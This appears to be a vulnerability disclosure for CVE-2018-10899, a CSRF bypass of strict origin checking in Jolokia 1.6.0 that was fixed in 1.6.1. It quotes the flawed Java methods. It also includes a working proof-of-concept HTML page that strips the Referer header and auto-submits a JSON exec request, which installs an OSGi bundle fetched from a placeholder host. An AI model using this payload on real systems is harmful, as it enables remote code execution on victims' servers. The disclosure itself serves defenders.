Summary
Jolokia 1.6.0 is vulnerable to CSRF. This holds true for properly configured instances with strict checking for origin and referrer headers. The issue was fixed in version 1.6.1.
Red Hat Security Advisory: https://access.redhat.com/security/cve/cve-2018-10899
Details
In version 1.2.1 Jolokia introduced a <strict-checking/>
option within the Cross-Origin Resource Sharing policy defined in jolokia-access.xml
to prevent CSRF (4.1.5).
The check enforces that the Origin
(or Referer
) header in all incoming requests matches a white-list of origins defined in Jolokia’s access policy. This check is implemented in the HttpRequestHandler.checkAccess()
method, which will throw a SecurityException in case the origin specified in the request isn't white-listed. Note that the method wouldn't throw in version 1.6.0 in case the pOrigin
variable is null
.
public void checkAccess(String pHost, String pAddress, String pOrigin) {
if (!backendManager.isRemoteAccessAllowed(pHost, pAddress)) {
throw new SecurityException("No access from client " + pAddress + " allowed");
}
if (pOrigin != null && !backendManager.isOriginAllowed(pOrigin,true)) {
throw new SecurityException("Origin " + pOrigin + " is not allowed to call this agent");
}
}
The pOrigin
variable is passed to the checkAccess()
method either via JolokiaHttpHandler. extractOriginOrReferer()
or AgentServlet.getOriginOrReferer()
. Both these methods return null
in case the incoming request has no Origin
or Referer
headers.
private String extractOriginOrReferer(HttpExchange pExchange) {
Headers headers = pExchange.getRequestHeaders();
String origin = headers.getFirst("Origin");
if (origin == null) {
origin = headers.getFirst("Referer");
}
return origin != null ? origin.replaceAll("[\\n\\r]*","") : null;
}
private String getOriginOrReferer(HttpServletRequest pReq) {
String origin = pReq.getHeader("Origin");
if (origin == null) {
origin = pReq.getHeader("Referer");
}
return origin != null ? origin.replaceAll("[\\n\\r]*","") : null;
}
The Origin
header doesn't have to be specified in CORS-unaware requests and there are multiple ways to suppress Referer
headers completely. For example the following HTML page will issue a request — in latest Firefox — bypassing Jolokia's strict origin checks:
<!DOCTYPE html>
<head>
<!-- Suppress Referer headers (Chrome, FF, Opera) -->
<meta name="referrer" content="no-referrer">
</head>
<body onload=csrf.submit()>
<!-- Issue a simple request with a JSON body (text/plain content-type) -->
<form enctype="text/plain" id=csrf action="http://localhost:8181/hawtio/jolokia/?maxDepth=7&maxCollectionSize=50000&ignoreErrors=true&canonicalNaming=false" method="POST">
<input type="hidden" name='{"type":"exec","mbean":"org.apache.karaf:type=bundle,name=root","operation":"install(java.lang.String,boolean)","arguments":["$JAR_HOST/$OSGI_BUNDLE_NAME-1.0.jar","True"],"ignore":"' value='"}'/>
</form>
</body>
</html>
Note that the issued request has a text/plain
content type. Jolokia, however, processes received data as JSON regardless of the content type specified in the request header. Moreover, the above HTML page will not trigger a pre-flight request so the configured CORS policy is irrelevant.
There is one more public bug mentioning CSRF in Jolokia: https://bugzilla.redhat.com/show_bug.cgi?id=1480060. The comments suggest that strict origin checking is sufficient to prevent CSRF which is not true for Jolokia in version <= 1.6.0.
Impact
This issue entirely reintroduces CVE-2014-0168 and usually allows RCE via CSRF.